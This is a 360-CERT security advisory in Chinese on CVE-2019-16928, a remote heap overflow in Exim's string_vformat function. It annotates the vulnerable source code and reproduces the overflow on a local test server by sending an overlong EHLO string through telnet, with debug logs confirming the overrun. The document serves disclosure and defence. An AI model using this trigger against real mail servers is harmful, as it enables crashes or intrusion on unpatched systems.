报告编号:B6-2019-092801
报告来源:360-CERT
报告作者:360-CERT
更新日期:2019-09-28
0x00 漏洞摘要
2019年9月28日,360-CERT监测到Exim官方发布了编号为CVE-2019-16928的远程堆溢出漏洞预警,补丁将于未来3天内正式发布,目前暂时没有缓解方案。
经360-CERT评估分析,该漏洞确实存在,存在远程利用的可行性,建议用户关注官方更新。
0x01 漏洞状态
影响版本
Exim 4.92 至 4.92.2 均受影响
修复方案
目前Exim已经在代码仓库 http://git.exim.org/exim.git 完成了更新。
正式版本在9月30号发布,预计修复版本为 4.92.3 ,各Linux发行版也正在进行修复测试中。
0x02 漏洞基本分析
官方在公告中表示,Exim源代码string.c文件中的string_vformat函数存在一处堆溢出漏洞,攻击者可以通过SMTP协议中的EHLO长字符来导致Exim的异常触发。
根据代码分析,和漏洞相关的string_vformat函数细节点主要如下:
- 是针对gstring类型的变长字符串进行格式化处理的函数。
/* Growable-string */ typedef struct gstring { int size; /* Current capacity of string memory */ int ptr; /* Offset at which to append further chars */ uschar * s; /* The string memory */ } gstring;
- 函数流程
gstring *
string_vformat(gstring * g, BOOL extend, const char *format, va_list ap)
{
enum ltypes { L_NORMAL=1, L_SHORT=2, L_LONG=3, L_LONGLONG=4, L_LONGDOUBLE=5, L_SIZE=6 };
int width, precision, off, lim;
const char * fp = format; /* Deliberately not unsigned */
string_datestamp_offset = -1; /* Datestamp not inserted */
string_datestamp_length = 0; /* Datestamp not inserted */
string_datestamp_type = 0; /* Datestamp not inserted */
#ifdef COMPILE_UTILITY
assert(!extend);
assert(g);
#else
/* Ensure we have a string, to save on checking later */
if (!g) g = string_get(16);
#endif /*!COMPILE_UTILITY*/
lim = g->size - 1; /* leave one for a nul */
off = g->ptr; /* remember initial offset in gstring */
/* Scan the format and handle the insertions */
while (*fp) /* 进入 format 的处理流程 */
{
int length = L_NORMAL;
int *nptr;
.......
case 's':
case 'S': /* Forces *lower* case */
case 'T': /* Forces *upper* case */
s = va_arg(ap, char *);
if (!s) s = null;
slen = Ustrlen(s);
INSERT_STRING: /* Come to from %D or %M above */ /* 主要是在字符串的拼接方面出的问题 */
{
BOOL truncated = FALSE;
***
else if (g->ptr >= lim - width)
{
gstring_grow(g, g->ptr, width - (lim - g->ptr)); /* 实际要拼接的长度应该是 width 决定的,具体看后续的 sprintf */
lim = g->size - 1;
gp = CS g->s + g->ptr; /* 拼接的起始位置是 g-s + g->ptr 的位置了 */
}
g->ptr += sprintf(gp, "%*.*s", width, precision, s); /* sprintf是实际拼接函数, 最长的长度有width 决定 */
if (fp[-1] == 'S')
while (*gp) { *gp = tolower(*gp); gp++; }
else if (fp[-1] == 'T')
while (*gp) { *gp = toupper(*gp); gp++; }
if (truncated) return NULL;
break;
}
.........
}
- 实验
在ubuntu 14.04 的环境中,笔者并没有看到实际的崩溃出现,但是越界访问的情况是存在的。至于为啥没有崩溃出现,可以自行再看gstring的自定义内存管理策略。
3.1 更改了份源码打了下日志
1591 else if (g->ptr >= lim - width)
1592 {
1593 gstring_grow(g, g->ptr, width - (lim - g->ptr));
1594 printf( "cyg07 test: g->szie %u width %u lim %u g-ptr %u\n", g->size, width, lim, g->ptr );
1595 lim = g->size - 1;
1596 gp = CS g->s + g->ptr;
1597 }
1598
1599 const int t_len = sprintf(gp, "%*.*s", width, precision, s);
1600 printf( "cyg07 test: t_len %u precision %u g->size %u g->ptr %u\n", t_len, precision, g->size, g->ptr );
1601 g->ptr += t_len;
1602 if (fp[-1] == 'S')
1603 while (*gp) { *gp = tolower(*gp); gp++; }
3.2 在telnet中提交EHLO
# telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 Server-27eb9350 ESMTP Exim 4.92.2 Sat, 28 Sep 2019 16:58:43 +0800
EHLO xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx // 长度自己找
250-Server-27eb9350 Hello xxxxxxxxxxxxxx.....
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-CHUNKING
250-PRDR
250 HELP
3.3 在exim服务端我们可以看到相关的log, 已经可以观测出在实际拼接后gstring实例的大小是 4090 + 26 ,超过了实例本身的4097大小范围了。
# /usr/exim/bin/exim -bdf -dd
cyg07 test: g->szie 4097 width 4090 lim 128 g-ptr 26
cyg07 test: t_len 4090 precision 4090 g->size 4097 g->ptr 26
0x03 影响面评估
根据360安全大脑的QUAKE测绘数据显示:
- 全球有1,800,669处端口受影响
- 中国地区有9,722处端口受影响
0x04 时间线
2019-09-28 Exim官方发布漏洞预警
2019-09-28 360-CERT发布漏洞PoC分析预警